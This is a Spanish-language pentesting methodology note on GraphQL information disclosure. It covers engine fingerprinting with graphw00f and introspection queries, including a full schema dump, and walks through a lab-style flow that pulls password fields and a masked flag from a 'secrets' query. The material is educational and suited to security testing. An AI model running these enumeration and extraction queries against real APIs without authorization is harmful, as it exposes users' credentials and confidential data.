GraphQL — Information Disclosure
GraphQL es un lenguaje de consulta que suelen utilizar las APIs web como alternativa a REST. Permite al cliente obtener exactamente los datos que necesita mediante una sintaxis sencilla, ofreciendo funciones similares a las de un lenguaje de consulta tradicional (como SQL). Al igual que las APIs REST, las APIs GraphQL pueden leer, actualizar, crear o eliminar datos — pero a diferencia de REST (que expone múltiples endpoints), GraphQL suele implementarse en un único punto final que gestiona todas las consultas, lo que cambia significativamente el enfoque de enumeración: en vez de descubrir rutas, hay que descubrir la estructura (schema) que ese único endpoint acepta.
Sintaxis básica de consultas
{
users {
id
username
role
}
}{
"data": {
"users": [
{
"id": 1,
"username": "jsmith",
"role": "user"
},
{
"id": 2,
"username": "admin",
"role": "admin"
}
]
}
}Filtrar por argumento:
{
users(username: "admin") {
id
username
role
}
}Solicitar campos que la aplicación probablemente no pretendía exponer al cliente (un password disponible en el schema, aunque el frontend nunca lo solicite normalmente):
{
users(username: "admin") {
id
username
password
}
}- Este es el patrón central de la mayoría de vulnerabilidades de GraphQL: el schema backend suele exponer más campos/relaciones de las que la interfaz de usuario "oficial" consulta — nada impide que un atacante arme su propia consulta pidiendo campos adicionales, si el control de acceso no se valida por campo individualmente.
Consultar relaciones anidadas (útil para revelar datos de un objeto relacionado, como el autor de un post):
{
posts {
title
author {
username
role
}
}
}{
"data": {
"posts": [
{
"title": "Hello World!",
"author": {
"username": "jsmith",
"role": "user"
}
},
{
"title": "Test",
"author": {
"username": "test",
"role": "user"
}
}
]
}
}Identificación del motor GraphQL
Antes de profundizar, identificar qué implementación de GraphQL corre en el backend (Graphene/Python, Apollo/Node.js, Hasura, etc.) ayuda a saber qué comportamientos/bugs específicos de esa implementación probar. La herramienta graphw00f automatiza este fingerprinting:
❯ python3 main.py -d -f -t http://172.16.75.10
+-------------------+
| graphw00f |
+-------------------+
*** ***
** **
** **
+--------------+ +--------------+
| Node X | | Node Y |
+--------------+ +--------------+
*** ***
** **
** **
+------------+
| Node Z |
+------------+
graphw00f - v1.1.17
The fingerprinting tool for GraphQL
Dolev Farhi <dolev@lethalbit.com>
[*] Checking http://172.16.75.10/
[*] Checking http://172.16.75.10/graphql
[!] Found GraphQL at http://172.16.75.10/graphql
[*] Attempting to fingerprint...
[*] Discovered GraphQL Engine: (Graphene)
[!] Attack Surface Matrix: https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/graphene.md
[!] Technologies: Python
[!] Homepage: https://graphene-python.org
[*] Completed.- El enlace a "Attack Surface Matrix" que devuelve la herramienta es directamente útil: cada implementación de GraphQL tiene un conjunto documentado de comportamientos/vulnerabilidades conocidas específicas de esa librería.
- Repositorio: https://github.com/dolevf/graphw00f
También vale la pena probar rutas comunes donde GraphQL suele exponerse, si graphw00f no lo encuentra automáticamente: /graphql, /graphql/console, /graphiql, /api/graphql, /v1/graphql, /query.
Introspección
La introspección es una función nativa de GraphQL que permite consultar la propia API sobre la estructura de su schema — en esencia, el schema puede "describirse a sí mismo" mediante el campo especial __schema. Cuando la introspección está habilitada en producción (una mala práctica común, ya que debería estar deshabilitada fuera de entornos de desarrollo), un atacante puede mapear completamente la API sin necesidad de documentación externa.
Listar todos los tipos del schema
{
__schema {
types {
name
}
}
}{
"data": {
"__schema": {
"types": [
{ "name": "Query" },
{ "name": "Node" },
{ "name": "ID" },
{ "name": "SecretObject" },
{ "name": "String" },
{ "name": "UserObject" },
{ "name": "PostObjectConnection" },
{ "name": "PageInfo" },
{ "name": "Boolean" },
{ "name": "PostObjectEdge" },
{ "name": "PostObject" },
{ "name": "Int" },
{ "name": "Mutation" },
{ "name": "RegisterUser" },
{ "name": "RegisterUserInput" },
{ "name": "__Schema" },
{ "name": "__Type" },
{ "name": "__TypeKind" },
{ "name": "__Field" },
{ "name": "__InputValue" },
{ "name": "__EnumValue" },
{ "name": "__Directive" },
{ "name": "__DirectiveLocation" }
]
}
}
}- Nombres de tipo poco habituales o directamente descriptivos (
SecretObjecten este ejemplo) son señales inmediatas de dónde investigar primero.
Listar los campos de un tipo específico
{
__type(name: "UserObject") {
name
fields {
name
type {
name
kind
}
}
}
}{
"data": {
"__type": {
"name": "UserObject",
"fields": [
{ "name": "uuid", "type": { "name": null, "kind": "NON_NULL" } },
{ "name": "id", "type": { "name": null, "kind": "NON_NULL" } },
{ "name": "username", "type": { "name": "String", "kind": "SCALAR" } },
{ "name": "password", "type": { "name": "String", "kind": "SCALAR" } },
{ "name": "role", "type": { "name": "String", "kind": "SCALAR" } },
{ "name": "msg", "type": { "name": "String", "kind": "SCALAR" } },
{ "name": "posts", "type": { "name": "PostObjectConnection", "kind": "OBJECT" } }
]
}
}
}- Confirma que el campo
passwordexiste y es accesible por el schema — el siguiente paso natural es intentar consultarlo directamente (vergraphql_idor.md).
Listar todas las queries disponibles
{
__schema {
queryType {
fields {
name
description
}
}
}
}- Conocer todas las queries soportadas ayuda a identificar vectores de ataque adicionales para obtener información confidencial que no aparece en la interfaz "oficial" de la aplicación.
Consulta de introspección completa ("volcado total")
La siguiente query estándar (usada internamente por herramientas como GraphiQL) vuelca absolutamente toda la información de tipos, campos, argumentos y directivas soportadas por el backend en una sola petición:
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
}
}- El resultado es extenso y difícil de leer en texto plano. Para visualizarlo de forma navegable (diagrama interactivo de relaciones entre tipos), usar GraphQL-Voyager o su demo online.
- Precaución en proyectos reales: pegar el resultado de la introspección de un objetivo real en la demo pública de Voyager envía esos datos a un servicio de terceros. En un engagement real, seguir las instrucciones del repositorio para alojar Voyager localmente y evitar que información potencialmente confidencial salga del entorno de la prueba.
Obtener argumentos aceptados por cada query
{
__schema {
queryType {
fields {
name
args {
name
type {
name
}
}
type {
name
kind
}
}
}
}
}{
"data": {
"__schema": {
"queryType": {
"fields": [
{ "name": "node", "args": [{ "name": "id", "type": { "name": null } }], "type": { "name": "Node", "kind": "INTERFACE" } },
{ "name": "secrets", "args": [], "type": { "name": null, "kind": "LIST" } },
{ "name": "users", "args": [], "type": { "name": null, "kind": "LIST" } },
{ "name": "posts", "args": [], "type": { "name": null, "kind": "LIST" } },
{ "name": "user", "args": [{ "name": "username", "type": { "name": null } }], "type": { "name": "UserObject", "kind": "OBJECT" } },
{ "name": "postByAuthor", "args": [{ "name": "author", "type": { "name": null } }], "type": { "name": null, "kind": "LIST" } },
{ "name": "post", "args": [{ "name": "id", "type": { "name": null } }], "type": { "name": "PostObject", "kind": "OBJECT" } }
]
}
}
}
}- Esta consulta es clave: revela no solo qué queries existen, sino con qué parámetros se invocan (
user(username: ...),post(id: ...)) — imprescindible para construir consultas de explotación dirigidas.
Enumeración alternativa: tipos con descripción
{
__schema {
types {
name
description
}
}
}- Útil cuando los desarrolladores documentaron los tipos con
description— a veces revela directamente el propósito de un tipo sospechoso sin necesidad de inferirlo por el nombre.
Ejemplo de flujo completo: tras detectar un tipo llamado SecretObject en el listado general, enumerar sus campos específicos:
{
__type(name: "SecretObject") {
name
fields {
name
type {
name
kind
}
}
}
}Y finalmente construir la consulta de explotación con los campos descubiertos:
{
secrets {
id
secret
}
}{
"data": {
"secrets": [
{
"id": "U2VjcmV0T2JqZWN0OjE=",
"secret": "FLAG{********}"
}
]
}
}- Nótese que
idestá codificado en Base64 (U2VjcmV0T2JqZWN0OjE=decodifica aSecretObject:1) — un patrón común en implementaciones que siguen la especificación Relay de GraphQL, donde los IDs globales se codifican combinando el nombre del tipo y su ID interno. Decodificar estos IDs a veces revela directamente la estructura interna (nombre de tabla + ID numérico) útil para IDOR (vergraphql_idor.md).
Notas de metodología
- La introspección habilitada en producción no es, por sí sola, siempre una vulnerabilidad crítica reportable — pero es el habilitador que hace todo lo demás en esta colección (IDOR, inyección, DoS) mucho más rápido de encontrar, por lo que su presencia siempre vale la pena señalarla como hallazgo de "defensa en profundidad" incluso si no lleva a nada más grave por sí sola.
- Si la introspección está deshabilitada, no descartar la API por completo: se puede intentar "adivinar" el schema enviando queries comunes basadas en el dominio de la aplicación (
user,users,product,order), o usar herramientas de fuerza bruta de schema comoclairvoyance(que reconstruye un schema aproximado incluso sin introspección, basándose en los mensajes de error de sugerencia de campos).